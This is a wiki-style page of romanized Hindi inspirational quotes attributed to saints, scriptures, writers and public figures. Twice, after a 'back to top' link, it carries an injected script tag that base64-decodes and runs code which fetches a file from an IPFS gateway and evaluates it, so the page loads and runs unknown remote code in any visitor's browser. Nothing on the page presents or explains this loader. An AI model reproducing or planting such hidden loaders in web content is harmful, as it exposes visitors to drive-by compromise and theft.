tabhi sambandh achchhe baneange. - hansaraj sujn yadi hamare vichar sakaratmak hoange to sab kuchh sakaratmak ho jayega. - hansaraj sujn sadharan manav parivesh anusar dhalata hai, asadharan manav parivesh ko hi dhalata hai. - hansaraj sujn doosaroan ka dil jitane ke lie phatakar nahian madhur vyavahar chahie. - hansaraj sujn paristhiti pratikool dekhakar apana achchha bhala svabhav badal dena to svechchha barabad ho jane ke saman hai. - hansaraj sujn uttam vastu ko pachane ki kshamata bhi uttam chahie. - hansaraj sujn doosaroan ke dosh dekhane aur dhooandhane ki tivrechh‍chha, itani gadh ho jati hai ki apane dosh dekhane ka vakh‍t hi nahian milata - hansaraj sujn patan ka marg dhalan ka marg hai, dhalan mean hi hamean rukana samh‍halana hota hai. - hansaraj sujn sachcha sudharak vahi hai jo pahale apana sudhar karata hai. - hansaraj sujn jo samay gaya so gaya, usake lie pashchatap karane ki apeksha vartaman ko sarthak karane ki zaroorat hai. - hansaraj sujn vinay dharm ka mool hai at: vinay ane par, anh‍y gunoan ki sahaj hi prapti ho jati hai. - hansaraj sujn yadi koee hamara ek bar apaman kare,ham dubara usaki sharan mean nahian jate. aur yah man (eego) pralobhan hamara bar bar apaman karavata hai. ham abhiman ka ashray tyag kyoan nahian dete? - hansaraj sujn yadi koee ek bar hamare sath dhokha kare ham usase muanh mo d lete hai. aur hamara yah lobh hamean bar bar dhokha deta hai, ham apane lobh ka mukh noch kyoan nahian lete? - hansaraj sujn jivan ek kahani hai, mahath‍v is bat ka nahian, yah kahani kitani lamh‍bi hai, mahath‍v is bat ka hai, ki kahani kitani sarthak hai. - hansaraj sujn vinayahin jnani vash‍tut: jnani hi nahian hai! - hansaraj sujn jnan badhane ke sath hi ahankar ghatana chahie, aur namrata mean vriddhi honi chahie! - hansaraj sujn deh shuddhi se adhik, vicharoan ki shuddhi avashh‍yak hai. - hansaraj sujn sant pravar shri lalitaprabh ji jahaan himmat samapt hoti haian vahian har ki shuruat hoti haian. ap dhiraj mat khoiye apana qadam phir se uthaiye. ~ sant pravar shri lalitaprabh ji ap jivan mean saphal hona chahate haian to dhairy ko apana dharm banale. ~ sant pravar shri lalitaprabh ji janm se mahanh hona paitrik virasat haian par asaman ko chhoona haian to hausale buland kijiye. ~ sant pravar shri chandraprabh ji chunautiyoan se ghabaraiye mat, samana kijiye. ag to har vyakti ke bhitar chhipi hai., bas use jagane ki zaroorat haian. ~ sant pravar shri chandraprabh ji arjit ki gee saphalata se bandh kar n rahean, char qadam age badhakar doosaroan ke liye apane pairoan ke nishan chho d jaiye. ~ sant pravar shri chandraprabh ji utsah jivan mean sabase b di shakti haian. agar apake pas yah haian to jit apaki haian. ~ sant pravar shri chandraprabh ji link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> any talavar hi sab kuchh hai, usake bina n manushy apani raksha kar sakata hai aur n nirbal ki. ~ guru goviand sianh nij bhasha unnati ahai, sab bhasha ko mool. binu nij bhasha jnan ke, mitai n hiy ko shool॥ ~ bharatendu harishchandr sachche sahity ka nirman ekaant chiantan aur ekant sadhana mean hota hai. ~ anant gopal shev de hiandi bharat ki rashtrabhasha hai aur yadi mujhase bharat ke lie ek matr bhasha ka nam lene ko kaha jae to vah nishchit roop se hiandi hi hai. ~ kamaraj duahkh ka karan hamari chittavrittioan ka prabhav hi hai. ~ bhagavan shri krishna kulin aur khanadani manushh‍yoan ka pratham lakshan hai ki nukasan hote dikhane par aur har samay tatha sankat ke vakh‍t bhi unaki kathani v karani ek rahati hai, tatha sath‍y ko sh‍vayan ke aur apane rajh‍y ko nashh‍t hone ya hani hone par bhi nahian chho date, doosara lakshan hai ki ve sharanagat shatru ko bhi ashray dekar bhayamukh‍t karate hai, tisara lakshan hai ki unake bhitar bhay kabhi bhool kar bhi pravesh nahian kar sakata. ~ bhagavan shri krishh‍n har samay mush‍karate rahana, chith‍t shanh‍t rahana, udvigh‍nata aur bhatakav ka n hona, sh‍pashh‍t vichar, sh‍pashh‍t dharana aur sh‍pashh‍t nirnay, dhir purushoan aur yogiyoan ke lakshan hai. ~ bhagavan shri krishh‍n sapane poore hoange lekin ap sapane dekhana shuroo to karean. ~ abdul kalam sapana vah nahian hota jo ap niand mean dekhate haian, yah to kuchh aisi chiz hai jo apako sone nahian deti hai. ~ abdul kalam kisi ki karuna v pi da ko dekh kar mom ki tarah daryadr ho pighalanevala hriday to rakho parantu vipatti ki aanch ane par kashtoan-pratikoolataoan ke thape de khate rahane ki sthiti mean chattan ki tarah dridh v thos bhi bane raho. ~ dronachary yah sach hai ki pani mean tairanevale hi doobate haian, kinare par kh de rahanevale nahian, magar aise log kabhi tairana bhi nahian sikh pate. ~ vallabhabhaee patel meri hardik ichchha hai ki mere pas jo bhi tho da-bahut dhan shesh hai, vah sarvajanik hit ke kamoan mean yathashighr kharch ho jae. mere aantim samay mean ek paee bhi n bache, mere lie sabase b da sukh yahi hoga. ~ purushottamadas tandan khudi ko kar buland itana, ki har takadir ke pahale. khuda bande se khud poochhe, bata teri raja kya hai? ~ akabar ilahabadi khudi ko kar buland itana, ke har takadir se pehale khuda bande se khud poochhe, bata teri raza kya hai. ~ ikbal prakriti ka tamasha bhi khoob hai. srijan mean samay lagata hai jabaki vinash kuchh hi paloan mean ho jata hai. ~ zaqiya zubairi jnan prapti ka ek hi marg hai jisaka nam hai, ekagrata. shiksha ka sar hai, man ko ekagr karana, tathyoan ka sangrah karana nahian. ~ shri maan karm ki utpatti vichar mean hai, atah vichar hi mahattvapoorn haian. ~ saee baba chhota arambh karo, shighr arambh karo. ~ raghuvansh mahakavyamh akarmany manushy shreshth hote hue bhi papi hai. ~ aitarey brahman - 33.3 jis prakar rakh se sana hath jaise-jaise darpan par ghisa jata hai, vaise-vaise usake pratibianb ko saf karata hai, usi prakar dusht jaise-jaise sajjan ka anadar karata hai, vaise-vaise vah usaki kaanti ko badhata hai. ~ vasavadatta gunavan purushoan ko bhi apane svaroop ka jnan doosare ke dvara hi hota hai. aankh apani sundarata ka darshan darpan mean hi kar sakati hai. ~ vasavadatta urdoo likhane ke liye devanagari apanane se urdoo utkarsh ko prapt hogi. ~ khushavant sianh jab tum du:khoan ka samana karane se dar jate ho aur rone lagate ho, to musibatoan ka dher lag jata hai. lekin jab tum muskarane lagate ho, to musibatean siku d jati haian. ~ sudhaanshu maharaj neki kar aur dariya mean dal. ~ qissa hatimataee jo akaran anurag hota hai usaki pratikriya nahian hoti hai kyoanki vah to snehayukt sootr hai jo praniyoan ko bhitar-hi-bhitar (hriday mean) si deti hai. ~ uttararamacharit sanyam sanskriti ka mool hai. vilasita nirbalata aur chatukarita ke vatavaran mean n to sanskriti ka udbhav hota hai aur n vikas. ~ kaka kalelakar kul ki prashansa karane se kya labh? shil hi (manushy ki pahachan ka) mukhy karan hai. kshudr mandar adi ke vriksh bhi uttam khet mean p dane se adhik badhate-phailate haian. ~ mrichchhakatik buddhiman manushy apani hani par kabhi nahian rote balki sahas ke sath usaki kshatipoorti mean lag jate haian. ~ vishnu sharma jisake jine se bahut se log jivit rahean, vahian is sansar mean vash‍tav mean jita hai. ~ vishh‍nu sharma jaise ratri ke bad bhor ka ana ya du:kh ke bad sukh ka ana jivan chakr ka hissa hai vaise hi prachinata se navinata ka safar bhi nishchit hai. ~ bhavana kuanar pratyek kary apane samay se hota hai usamean utavali thik nahian, jaise pe d mean kitana hi pani dala jay par phal vah apane samay se hi deta hai. ~ vriand nirasha ke saman doosara pap nahian. asha sarvotkrisht prakash hai to nirasha ghor aandhakar hai. ~ rashmimala koshish karane valoan ki kabhi har nahian hoti. ~ harivansh ray bachchan manushy apana svami nahian, paristhitiyoan ka das hai. ~ bhagavaticharan varma mrith‍yu aur vinash bina bulae hi aya karate haian kh‍yoanki ye hamare mitroan ke roop mean nahian shatruoan ke roop mean ate haian. ~ bhagavaticharan varma sachchaee se jisaka man bhara hai, vah vidvanh n hone par bhi bahut desh seva kar sakata hai. ~ pan. motilal neharoo jo bhari kolahal mean bhi sangit ko sun sakata hai, vah mahanh upalabdhi ko prapt karata hai. ~ d aau. vikram sarabhaee jaise jine ke lie mrityu ka asvikaran zaroori hai vaise hi srijanashil bane rahane ke lie pratishtha ka asvikaran zaroori hai. ~ d aau. raghuvansh kam se zyada kam ke pichhe nihit bhavana ka mahatv hota hai. ~ d aau. rajeandr prasad ujala ek vishvas hai jo aandhere ke kisi bhi roop ke viruddh sangharsh ka bigul bajane ko tatpar rahata hai. ye hamamean sahas aur nidarata bharata hai. ~ d aau. prem janamejay achchhi yojana banana buddhimani ka kam hai par usako thik se poora karana dhairy aur parishram ka. ~ d aau. tapesh chaturvedi desh-prem ke do shabdoan ke samanjasy mean vashikaran mantr hai, jadoo ka sammishran hai. yah vah kasauti hai jisapar desh bhaktoan ki parakh hoti hai. - balabhadr prasad gupt 'rasik' asaty phoos ke dher ki tarah hai. saty ki ek chinagari bhi use bhasm kar deti hai. ~ haribhaoo upadhyay anand uchhalata - koodata jata hai; shanti muskurati huee chalati hai. ~ haribhaoo upadhyay jabatak bharat ka rajakaj apani bhasha mean nahian chalega tabatak ham yah nahian kah sakate ki desh mean svaraj hai. ~ moraraji desaee jaise ulloo ko soory nahian dikhaee deta vaise hi dusht ko saujany dikhaee nahian deta. ~ svami bhajananand sabase uttam vijay prem ki hai jo sadaiv ke lie vijetaoan ka hriday baandh leti hai. ~ samrat ashok jivan ki j d sanyam ki bhoomi mean jitani gahari jamati hai aur sadachar ka jitana jal diya jata hai utana hi jivan hara bhara hota hai aur usamean jnan ka madhur phal lagata hai. ~ dinanath dinesh pratyek vyakti ki achchhaee hi prajatantriy shasan ki saphalata ka mool siddhaant hai. ~ rajagopalachari apane anubhav ka sahity kisi darshan ke sath nahian chalata, vah apana darshan paida karata hai. ~ kamaleshvar tyohar sal ki gati ke p dav haian, jahaan bhinn-bhinn manoranjan haian, bhinn-bhinn anand haian, bhinn-bhinn kridasthal haian. ~ basrha 'shi' ka arth hai papoan ka nash karane vala aur 'v' kahate haian mukti dene vale ko. bholenath mean ye donoan gun haian isalie ve shiv kahalate haian. ~ brahmavaivart puran chandrama, himalay parvat, kele ke vriksh aur chandan shital mane ge haian, par inamean se kuchh bhi itana shital nahian jitana manushy ka trishna rahit chitt. ~ vashishth is janm mean parishram se ki gee kamaee ka phal milata hai aur us kamaee se die ge dan ka phal agale janm mean milata hai. ~ guruvani eeshvar ne tumhean sirph ek chehara diya hai aur tum us par kee chehare chadha lete ho, jo vyakti sone ka bahana kar raha hai use ap utha nahian sakate. ~ navajo ahar, svapn (niand) aur bramhachary is sharir ke tin stambh haian. ~ maharshi charak sanvedanashilata nyay ki pahali anivaryata hai. ~ kumar ashish desh kabhi chor uchakkoan ki karatootoan se barabad nahian hota balki sharif logoan ki kayarata aur nikammepan se hota hai. ~ shiv khe da bis varsh ki ayu mean vyakti ka jo chehara rahata hai, vah prakriti ki den hai, tis varsh ki ayu ka chehara ziandagi ke utar-chadhav ki den hai lekin pachas varsh ki ayu ka chehara vyakti ki apani kamaee hai. ~ ashtavakr link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> behatar ziandagi ka rasta behatar kitaboan se hokar jata hai. ~ shilpayan rashtr ki ekata ko agar banakar rakha ja sakata hai to usaka madhyam hiandi hi ho sakati hai. ~ subrahmanyam bharati bikharana vinash ka path hai to simatana nirman ka. ~ kanhaiyalal mishr prabhakar hiandi hi hiandustan ko ek sootr mean piro sakati hai. har mahine kam se kam ek hindi pustak kharidean! maian aur ap nahian to kya videshi log hindi lekhakoan ko protsahan deange? ~ shastri filip yadi tumhean apane chune hue raste par vishvas hai, yadi is par chalane ka sahas hai, yadi isaki kathinaiyoan ko jit lene ki shakti hai, to rasta tumhara anugaman karata hai. ~ dhiroobhaee aanbani b di batean socho, tej socho, doosaro se pahale socho. vicharoan par kisi ka ekadhikar nahian haian. ~ dhiroo bhaee ambani ek pal ka unmad jivan ki kshanik chamak ka nahian, aandhakar ka poshak hai, jisaka koee adi nahian, koee aant nahian. ~ raangey raghav jivan doodh ke samudr ki tarah hai, ap ise jitana matheange apako isase utana hi makkhan milega. ~ ghanashyamadas bi dala vasant rritu nishchay hi ramaniy hai. grishm rritu bhi ramaniy hai. varsha, sharad, hemant aur shishir bhi ramaniy hai, arthath sab samay uttam haian. ~ samaved aandhere ko kosane se behatar hai ki ek diya jalaya jae. ~ upanishad aantarik sauandary ka ahvan karana kathin kam hai. sauandary ki apani bhasha hoti hai, aisi bhasha jisamean n shabd hote haian n avaz. ~ rajashri hansi chhoot ki bimari hai, apako hansi aee nahian ki doosare ko zabaradasti apane daant nikalane p deange. ~ premalata dip jo bina thokar khae manzil tak pahuanch jate haian, unake hath anubhav se khali rah jate haian. ~ shivakumar mishr 'rajh‍jan' karmoan ka phal avashy milata hai, par hamari ichchhanusar nahian, kary ke prati hamari astha evan drishti ke anusar. ~ kishor kabara shreshth vahi hai jisake hriday mean daya v dharm basate haian, jo amritavani bolate haian aur jinake netr vinay se jhuke hote haian. ~ sant malookadas jaise dipak ka prakash ghane aandhakar ke bad dikhaee deta hai usi prakar sukh ka anubhav bhi duahkh ke bad hi hota hai. ~ shoodrak shala mean naya chhatr kuchh lekar nahian ata aur purana kuchh lekar nahian jata phir bhi vahaan jnan ka vikas hota hai. ~ rajendr avasthi akelapan kee bar apane ap se sarthak batean karata hai. vaisi sarthakata bhi d mean ya bhi d ke chiantan mean nahian milati. ~ rajeandr avasthi boodha hona koee asan kam nahian. ise b di mehanat se sikhana p data hai. ~ nirmal varma apattiyaan manushyata ki kasauti haian. in par khara utare bina koee bhi vyakti saphal nahian ho sakata. ~ pandit ramapratap tripathi kalavishesh mean nipun bhale hi chitr mean kitane hi pushp bana dean par kya ve unamean sugandh pa sakate haian aur phir bhramar unase ras kaise pi sakeange. ~ panditaraj jagannath avishvas adami ki pravritti ko jitana biga data hai, vishvas utana hi banata hai. ~ dharmavir bharati maian hindustan ki tooti hooan. agar tum vastav mean mujhase janana chahate ho to hindavi mean poochho. maian tumhean anupam batean bata sakooanga. ~ amir khusaro vishv mean agrani bhoomika nibhane ki akaanksha rakhanevala koee bhi desh shuddh ya dirghakalin anusandhan ki upeksha nahian kar sakata. ~ homi bhabha koee bhi bhasha apane sath ek sanskar, ek soch, ek pahachan aur pravritti ko lekar chalati hai. ~ bharat prasad kahani jahaan khatm hoti hai, jivan vahian se shuroo hota hai.' ~ sanjiv ham aman chahate haian julh‍m ke khilaf, phaisala gar jang se hoga, to jang hi sahi. ~ ram prasad bismil sapane hamesha sach nahian hote par ziandagi to ummid par tiki hoti haian. ~ ravikiran shastri vinamrata ki pariksha 'samriddhi' mean aur svabhiman ki pariksha 'abhav' mean hoti hai. ~ adity chaudhari bhramarakul aryavan mean aise hi kary (madhupan ki chah) ke bina nahian ghoomata hai. kya bina agni ke dhuean ki shikha kabhi dikhaee deti hai? ~ gathasaptashati dridh ichchha shakti ho to atashi shisha khud b khud mil jata haian, jo avasaroan ko khoj nikalata haian. ~ shiv khe da saphalata ke lie kisi saphaee ki zaroorat nahian hoti aur asaphalata ki koee saphaee nahian hoti. ~ pramod batra apani saphalata ke injiniyar ap khud hai. agar ham apani atma ki eeant aur jivan ka simeant us jagah lagayean jahaan chahate haian to saphalata ki mazaboot imarat kh di kar sakate haian apani sima ooanche star par banao, b da sochane ka sahas karo. ~ naina lal kidavee jahaan akaran atyant satkar ho, vahaan parinam mean du:kh ki ashanka karani chahiye. ~ kumar sambhav kitaboan mean vajan hota hai! ye yooan hi kisi ke jivan ki dasha aur disha nahian badal detian. ~ ila prasad manav jivan dhool ki tarah hai, ro-dhokar ham ise kich d bana dete haian. ~ bakul vaidy akarmanyata ke jivan se yashasvi jivan aur yashasvi mrityu shreshth hoti hai. ~ chandrashekhar veankat raman jis prakar jal kamal ke patte par nahian thaharata hai, usi prakar mukt atma ke karm usase nahian chipakate haian. ~ chhaandogy upanishad khyati nadi ki bhaanti apane udgam sthal par kshin hi rahati hai kiandu door jakar vistrit ho jati hai. ~ bhavabhooti buddhi ke sivay vichar prachar ka koee doosara shastr nahian hai, kyoanki jnan hi anyay ko mita sakata hai. ~ shankarachary bachchoan ko palana, unhean achchhe vyavahar ki shiksha dena bhi sevakary hai, kyoanki yah unaka jivan sukhi banata hai. ~ svami ramasukhadas samast bharatiy bhashaoan ke lie yadi koee ek lipi avashyak ho to vah devanagari hi ho sakati hai. ~ (nyayamoorti) krishnasvami ayyar eemanadar ke lie kisi chhadm vesh-bhoosha ya saj-shrriangar ki avashyakata nahian hoti. isake lie sadagi hi praryapt hai. ~ autave janm-maran ka saansarik chakr tabhi khatm hota hai jab vyakti ko moksh milata hai. usake bad atma apane vastavik sath-chith-anand svabhav ko sada ke liye pa leti hai. ~ hindoo dharmagranth kasht hi to vah prerak shakti hai jo manushy ko kasauti par parakhati hai aur age badhati hai. ~ vir savarakar uttaradayitv mean mahanh bal hota hai, jahaan kahian uttaradayitv hota hai, vahian vikas hota hai. ~ damodar satavalekar jo saty vishay haian ve to sabamean ek se haian jhag da jhoothe vishayoan mean hota hai. ~ satyarthaprakash jis prakar ratri ka aandhakar keval soory door kar sakata hai, usi prakar manushy ki vipatti ko keval jnan door kar sakata hai. ~ naradabhakti sahi sthan par boya gaya sukarm ka bij hi samay ane par mahanh phal deta hai. ~ katha saritsagar lokatantr ke paudhe ka, chahe vah kisi bhi kism ka kyoan n ho tanashahi mean panapana sandehaspad hai. ~ jayaprakash narayan badhaean vyakti ki pariksha hoti haian. unase utsah badhana chahie, mand nahian p dana chahie. ~ yashapal jaise aandhe ke lie jagath aandhakaramay hai aur aankhoan vale ke lie prakashamay hai vaise hi ajnani ke lie jagath dukhadayak hai aur jnani ke lie anandamay. ~ sanpoornanand dand dvara praja ki raksha karani chahie lekin bina karan kisi ko dand nahian dena chahie. ~ ramayan shashvat shaanti ki prapti ke lie shaanti ki ichchha nahian balki avashyak hai ichchhaoan ki shaanti. ~ svami jnananand tyohar sal ki gati ke p dav haian, jahaan bhinn-bhinn manoranjan haian, bhinn-bhinn anand haian, bhinn-bhinn kridasthal haian. ~ barua apane vishay mean kuchh kahana pray: bahut kathin ho jata hai kyoan ki apane dosh dekhana apako apriy lagata hai aur unako anadekha karana auroan ko. ~ mahadevi varma takatavar hone ke lie apani shakti mean bharosa rakhana zaroori hai, vaise vh‍yaktiyoan se adhik kamazor koee nahian hota jinh‍hean apane samarthh‍y par bharosa nahian. ~ sh‍vami dayanand sarash‍vati manushh‍y ka sachh‍cha jivan sathi vidya hi hai, jisake karan vah vidvanh kahalata hai. ~ sh‍vami dayananh‍d prem sanyam aur tap se uth‍panh‍n hota hai, bhakti sadhana se praph‍t hoti hai, shraddha ke lie abhh‍yas aur nishh‍tha ki zaroorat hoti hai. ~ hajari prasad dvivedi adhik dhan samh‍panh‍n hone par bhi jo asantushh‍t rahata hai, vah nirdhan hai, dhan se rahit hone par bhi jo santushh‍t hai vah sada dhani hai. ~ ashh‍vaghosh bhalaee se badhakar jivan aur, buraee se badhakar mrith‍yu nahian hai. ~ adibhatl narayan dasu kaanch ka katora, netroan ka jan, moti aur man yah, ek bar tootane par pahale jaisi sthiti nahian hoti, at: pahale se hi savadhani baratani chahie. ~ lokokti jis prakar kath apane hi bhitar se prakat huee agni se bhash‍m hokar khath‍m ho jata hai, usi prakar manushh‍y apane hi bhitar rahane vali trishh‍na se nashh‍t ho jata hai. ~ banabhatt jinh‍dagi hamare sath khel khelati hai, jo ise khel nahian manate, ve hi ek doosare ki shikayat v alochana karate haian. ~ jaineandr kumar sansar mean sab se dayaniy kaun hai? dhanavan hokar bhi jo kanjoos hai. ~ vidyapati moorkhoan se bahas karake koee bhi vh‍yakti, buhddhiman nahian kahala sakata, moorkh par vijay pane ka ekamatr upay yahi hai ki usaki or dhh‍yan nahian diya jae. ~ sant jnaneshh‍var prayath‍n devata ki tarah hai jabaki bhagh‍y daith‍y ki bhaanti, aise mean prayath‍n devata ki upasana karana hi shreshh‍th kam hai. ~ samarth guru ramadas chahe guru par ho ya eeshvar par, shraddha avashy rakhani chahie. kyoan ki bina shraddha ke sab batean vyarth hoti haian. ~ samarth ramadas sath‍ta ki mahath‍ta to mohak bhi bahut hoti hai, ek bar haanth mean ane par aur kantili hone par bhi chho di nahian jati. ~ vriandavanalal varma paropakari apane kashh‍t ko nahian dekhata, kh‍yoanki vah parakashh‍t janit karuna se ot-prot hota hai. ~ sant tukaram chaturaee aur chalabaji do chi‍jean haian, ek mean eeshh‍var ki prerana hoti hai aur doosara hamari phitarat se paida hota hai. ~ suman sinha jo shiksha manushh‍y ko sankirn aur sh‍varthi bana deti hai, usaka moolh‍y kisi yug mean chahe jo raha ho, ab nahian hai. ~ sharatachanh‍dr chattopaghh‍yay apani pi da to pashu-pakshi bhi mahasoos karate haian, manushh‍y vah hai jo doosaroan ki vedana ko anubhav kare. ~ rasanidhi apana charitr ujh‍javal hone par bhi sajh‍jan, apana dosh hi samane rakhate haian, agni ka tej ujh‍javal hone par bhi vah pahale dhuana hi prakat karata hai. ~ karnapoor jo vh‍yakti iansan ki banaee moorti ki pooja karata hai, lekin bhagavan ki banaee moorti (iansan) se napharat karata hai, vah bhagavan ko kabhi priy nahian ho sakata. ~ sh‍vami jh‍yotinand karm ki utpatti vichar mean hai, atah vichar hi mahattvapoorn haian. ~ saee baba jivan ki bhag-dau d tatha uthal-puthal mean aandar se shaant bane rahean. ~ dipak chop da jis manushh‍y mean ath‍‍mavishh‍vas nahian hai, vah shaktiman hokar bhi kayar hai aur pandit hokar bhi moorkh hai. ~ ramapratap brahaman hokar vidvanh aur sadhanarat bhi hai lekin dushh‍tamarg aur dushh‍pravrittiyoan mean lin ho gaya hai use brahamarakshas kahate haian us par niyantran dushh‍kar kinh‍tu anivary hota hai. ~ tantr mahaudadhi jo apraph‍t vash‍tu ke lie chianta nahian karata aur praph‍t vash‍tu ke lie sam rahata hai, vah santushh‍t kaha ja sakata hai. ~ mahopanishad jal se sharir shuddh hota hai, man se sath‍y shuddh hota hai, vidya aur tap se bhootath‍ma tatha jnan se buddhi shuddh hoti hai. ~ manush‍mriti api yatsukaran karm tadapyeken dushkaram. (asani se hone vala kary bhi ek vyakti se hona mushkil.) ~ manusmriti vishv ke nirman mean jisane sabase adhik sangharsh kiya hai aur sabase adhik kasht uthae haian vah maan hai. ~ harsh mohan kutil logoan ke prati saral vyavahar achchhi niti nahian. ~ shri harsh eeshavasyamidan sarv yatkijch jagatyaan jagath - bhagavan is jag ke kan kan mean vidyaman hai! ~ santavani

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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